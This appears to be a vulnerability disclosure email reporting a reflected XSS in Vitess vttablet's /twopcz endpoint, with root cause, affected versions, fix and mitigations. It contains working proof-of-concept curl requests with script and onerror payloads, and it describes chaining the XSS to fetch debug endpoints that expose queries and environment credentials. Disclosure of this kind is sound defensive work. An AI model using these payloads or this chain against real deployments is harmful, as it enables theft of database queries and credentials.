Vitess vttablet /twopcz reflected XSS

From: xylove21 To: [email protected] Subject: [Security Report] Vitess vttablet /twopcz reflected XSS Date: Tue, 24 Jun 2026 14:30:00 +0800

Summary

The twopczHandler in go/vt/vttablet/tabletserver/twopcz.go (line 185) reflects the Action and dtid form values directly into the HTML response body via fmt.Fprintln(w, msg) — without HTML escaping. The response is served as text/html; charset=utf-8, and Vitess's default acl policy is allow-all, so the endpoint is reachable by anyone who can hit the vttablet's HTTP port (default 15999, multiplexed with gRPC and MySQL wire-protocol ports).

A crafted Action or dtid value yields a reflected XSS that executes in the operator's browser with same-origin access to the vttablet's debug endpoints. This includes /queryz (live query plans), /querylogz (recent queries with bound values), /txlogz (transactions), /debug/env (environment variables — may include MySQL/topology credentials), /debug/vars (expvar stats), and /debug/pprof/* if enabled.

The bug was introduced before v20.0.0 (long-standing) and was silently fixed in commit 3140c1846c (merged 2026-06-09, PR #20255, "tabletserver: escape reflected form values in twopcz handler"). The fix replaces fmt.Fprintln(w, msg) with fmt.Fprintln(w, html.EscapeString(msg)). No released version of Vitess contains the fix — the fix lives only on main (current tip 33a3c0fafe69, 2026-06-23). There is no CVE, GHSA, or OSV entry for this specific bug (verified 2026-06-24 against GitHub Advisory Database, OSV.dev, and NVD).

Impact

Field	Value
Type	Reflected Cross-Site Scripting (XSS)
CVSS 3.1	AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N = 7.7 HIGH
Attack Vector	Network (vttablet HTTP port 15999, multiplexed with gRPC/MySQL)
Attack Complexity	Low (craft URL, send to operator)
Privileges Required	None (default acl policy is allow-all)
User Interaction	Required (operator must visit crafted URL)
Scope	Changed (XSS chain reaction to other vttablet debug endpoints)
Confidentiality	High (query text, env vars, expvar stats)
Integrity	None (XSS itself doesn't change state)
Availability	None (XSS itself doesn't disrupt service)

Affected versions (verified)

All released versions are vulnerable. The fix lives only on main:

Tag	Released	twopcz.go line 185	Status
v20.0.0	2024-06-27	fmt.Fprintln(w, msg)	BUGGY
v20.0.1 - v20.0.6	2024	fmt.Fprintln(w, msg)	BUGGY
v22.0.4	2026-02-27	fmt.Fprintln(w, msg)	BUGGY
v23.0.3, v23.0.4	2026-02 / 2026-05	fmt.Fprintln(w, msg)	BUGGY
v24.0.0, v24.0.1	2026-04 / 2026-05	fmt.Fprintln(w, msg)	BUGGY
main (33a3c0fafe69)	2026-06-23	fmt.Fprintln(w, html.EscapeString(msg))	FIXED

Sensitive data exposed via the same-origin XSS chain

A successful XSS lands in the vttablet's origin. From there, the attacker can fetch (via fetch() from injected JavaScript) the following same-origin endpoints, all of which are unauthenticated by default:

• /twopcz — in-flight 2PC transactions (query text, parameters, dtid)
• /queryz — live query plans
• /querylogz — recent queries with bound values
• /txlogz — transactions
• /debug/env — environment variables (may include MySQL creds, topology credentials, encryption keys)
• /debug/vars — expvar stats
• /debug/pprof/* — CPU/memory profiles (if enabled)

Reproduction (independent, runnable PoC)

The PoC is a self-contained Go HTTP server that replicates the buggy twopczHandler from Vitess v20.0.0 verbatim (using the same line-185 code). It runs on 127.0.0.1:15080 and returns the same response shape as the real Vitess endpoint.

# 1) Build the PoC (Go 1.23+)
cd /path/to/finding/CVE-pending-twopcz-xss
go build -o /tmp/vitess-twopcz-poc ./poc.go

# 2) Start the buggy server
ADDR=127.0.0.1:15080 /tmp/vitess-twopcz-poc &

# 3) Reproduce — Test 1: bare GET (no params)
curl -sS -i "http://127.0.0.1:15080/twopcz"
# → Content-Type: text/html; charset=utf-8, status 200

# 4) Test 2: XSS via Action param (URL-encode the script tag)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=%3Cscript%3Ealert(1)%3C%2Fscript%3E&dtid=zz"
# → Response body contains literal "<script>alert(1)</script>(zz): completed."
# → Browser executes the script as same-origin code

# 5) Test 3: XSS via dtid param (attribute-context payload)
curl -sS -i "http://127.0.0.1:15080/twopcz?Action=Demo&dtid=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"
# → Response body contains literal "<img src=x onerror=alert(1)>"
# → Browser fires the onerror handler as same-origin code

# 6) Run the 3x automated runner (writes evidence/run-{1,2,3}.log)
bash ./poc/run.sh

PoC result excerpt (from evidence/run-1.log):

--- Test 2: XSS via Action=<script>alert(1)</script> ---
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
...
<h2>WARNING: Actions on this page can jeopardize data integrity.</h2>
<script>alert(1)</script>(zz): completed.

PASS: payload reflected UNESCAPED (XSS exploitable in browser)

The PoC was run 3 times on the buggy server (all 3/3 PASS) and the same code is byte-identical to the v20.0.0 commit 8aeb274f6c8e line 185.

Root cause (technical detail)

go/vt/vttablet/tabletserver/twopcz.go (v20.0.0 through v24.0.1):

// Line 185
fmt.Fprintln(w, msg)

msg is constructed earlier in the handler as:

msg := fmt.Sprintf("%s(%s): completed.", action, dtid)

with action and dtid coming from the form values r.FormValue("Action") and r.FormValue("dtid"). The form values are URL-decoded (so a + becomes a space, %3C becomes <) but never HTML-escaped. The handler explicitly sets Content-Type: text/html; charset=utf-8 (via the <!DOCTYPE html> it writes first), so the browser executes any injected <script> or attribute-context payload.

The fix in main (fmt.Fprintln(w, html.EscapeString(msg))) closes the hole by HTML-escaping both action and dtid before reflection.

Suggested fix (already in main)

// Recommended minimal patch (already in main, needs backport to all release branches):
import "html"

func twopczHandler(w http.ResponseWriter, r *http.Request) {
    // ... existing logic ...
    msg := fmt.Sprintf("%s(%s): completed.", action, dtid)
    fmt.Fprintln(w, html.EscapeString(msg))  // ← was: fmt.Fprintln(w, msg)
}

Backport the fix to v20.0.x, v22.0.x, v23.0.x, and v24.0.x as patch releases. The fix is one line and a one-line import "html" addition, so the backport risk is minimal.

Workaround / mitigation (no patch available)

If you cannot upgrade to a fixed release immediately:

1. Restrict the vttablet HTTP port (default 15999) to localhost only. vttablet can run with --tablet-allow-stats=false and --tablet-grpc-port configured separately from the HTTP port, or you can firewall the HTTP port at the network layer. The debug endpoints are not needed by production traffic.

2. Set a non-default ACL policy. Vitess supports an acl policy that defaults to allow-all. Setting it to a JSON file that denies unauthenticated access to debug endpoints (see go/acl/acl.go::savePolicy) would block the XSS, but the default policy is currently "" (allow-all) and many users don't override it.

3. Use a reverse proxy (nginx, envoy) in front of the vttablet HTTP port with a strict allowlist of clients.

Cross-references

• The bug is not related to:
  • CVE-2024-53257 (/debug/querylogz HTML injection, fixed in v20.0.4 — different endpoint)
  • CVE-2026-27969 (backup MANIFEST path traversal)
  • CVE-2026-27965 / GHSA-8g8j-r87h-p36x (backup external decompressor RCE)
• PR #20255 is the fix commit; PR #19486 (defense-in-depth) is a separate hardening change

Contact

• GitHub: @xylove21